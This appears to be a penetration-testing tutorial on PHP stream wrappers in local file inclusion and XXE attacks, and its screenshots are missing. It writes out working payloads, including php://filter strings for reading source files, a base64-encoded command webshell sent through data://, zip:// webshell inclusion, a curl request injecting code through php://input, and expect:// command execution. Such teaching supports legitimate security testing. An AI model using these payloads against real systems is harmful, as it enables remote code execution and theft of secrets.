When dealing with PHP files, there’s a concept called PHP Wrappers. A wrapper is a kind of envelope that tells the Stream (sequence, request, input/output data) how to act.
This PHP feature is very useful in attacks like LFI and XXE, thanks to this, we can obtain some advantages that we wouldn’t have otherwise.
The wrapper concept will become clearer when we see it now.
Index:
php://filter
The filter wrapper allows us to encode the file we specify, this is very useful, as it allows us to read PHP files that otherwise the browser would simply interpret directly.
For example, we have the following file:

As we can see, it has a password in a comment. But if we access the file from the web:

We only see the output of the interpreted code 😥. However, using the filter wrapper, we’ll be able to read the complete PHP file.
To test the wrapper, I’ve created an LFI in an index.php file. So, in this LFI, the payload we’ll introduce to use the wrapper and read the secret.php file will be the following:
php://filter/convert.base64-encode/resource=<file>

This way, we’re reading the secret.php file but in base64, so if we decode this output:

We obtain the complete file. A curious detail about wrappers is that we can concatenate several through the use of a pipe | or a slash /. Example:


And we get exactly the same result.
Besides being able to encode in base64, we can apply ROT13 with the following string:
php://filter/read=string.rot13/resource=<file>
Although this specific one doesn’t work for reading PHP files:

But it does apply for other types of files:

In conclusion, regarding this wrapper, we have the following two payloads:
php://filter/convert.base64-encode/resource=<file>
php://filter/read=string.rot13/resource=<file>
zip://
The zip wrapper allows us to execute a PHP file that we’ve placed inside a zip file. It’s not even necessary for the zip file to have a zip extension, it can have any extension.
This wrapper isn’t installed by default, but it can be installed with the following command:
sudo apt install phpX.Y-zip
Where X and Y are the PHP version we have installed or the one we want to install this feature for.
Example of webshell execution through this wrapper:

Payload:
zip://<zip file>%23<php file>
In , if it’s not in the current directory, you would specify the directory where the file is located and that’s it.
Note: in case the PHP file is a webshell or expects some parameter, it would be added with an ampersand as we see in the following image.

And even changing the zip extension, it will still work:


data://
The data wrapper allows us to include external data, including PHP code. This wrapper only works if the allow_url_include option is enabled in the PHP configuration (the equivalent option to a Remote File Inclusion).
Executing PHP code with this wrapper is quite simple, we can do it in two ways:
- In plain text
- In base64
In plain text, we simply would have to use the following payload:
data:text/plain,<PHP code>
Example:

To do it using base64, we simply would have to encode the PHP code:

And place it in the wrapper like this:
data://text/plain;base64,<PHP code in base64>
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=
This way, since we’re defining a parameter to execute commands, the payload to for example execute the id command would be:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=&cmd=id
Example:

php://input
This wrapper is similar to the one above (data). It can be used to include PHP code. Its requirement, like the data wrapper, is that the allow_url_include option in the PHP configuration must be enabled.
With this done, commands could be executed by sending the PHP code in the data of a POST request. Example:
curl -s -X POST -d '<PHP code>' 'http://example.com/index.php?file=php://input'

In this case, we can see the command output in the response.
expect://
The expect wrapper isn’t installed by default, but in case it is, it allows directly executing commands in the following way:
expect://<command>
This happens because this wrapper gives access to a PTY (pseudo-teletype), which in UNIX basically refers to a terminal. It gives access to STDIN, STDOUT as well as STDERR.
PHP Wrappers Conclusion
As we’ve been able to see, this PHP feature is very useful on many occasions, as it can help us achieve actions that we couldn’t otherwise. It’s quite useful to use them when we’re facing vulnerabilities like Local File Inclusion (LFI) or XML External Entity (XXE), or really in any case where we see we have the ability to use them.